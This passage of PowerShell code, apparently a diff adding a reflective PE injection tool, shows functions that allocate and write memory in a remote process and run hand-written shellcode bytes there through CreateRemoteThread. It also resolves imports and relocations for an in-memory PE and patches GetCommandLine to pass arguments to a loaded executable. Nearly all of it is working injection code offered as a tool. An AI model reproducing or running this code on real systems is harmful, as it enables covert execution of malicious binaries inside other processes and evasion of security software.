Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + if($ProcedureName -is [string]) + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName) + } + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = 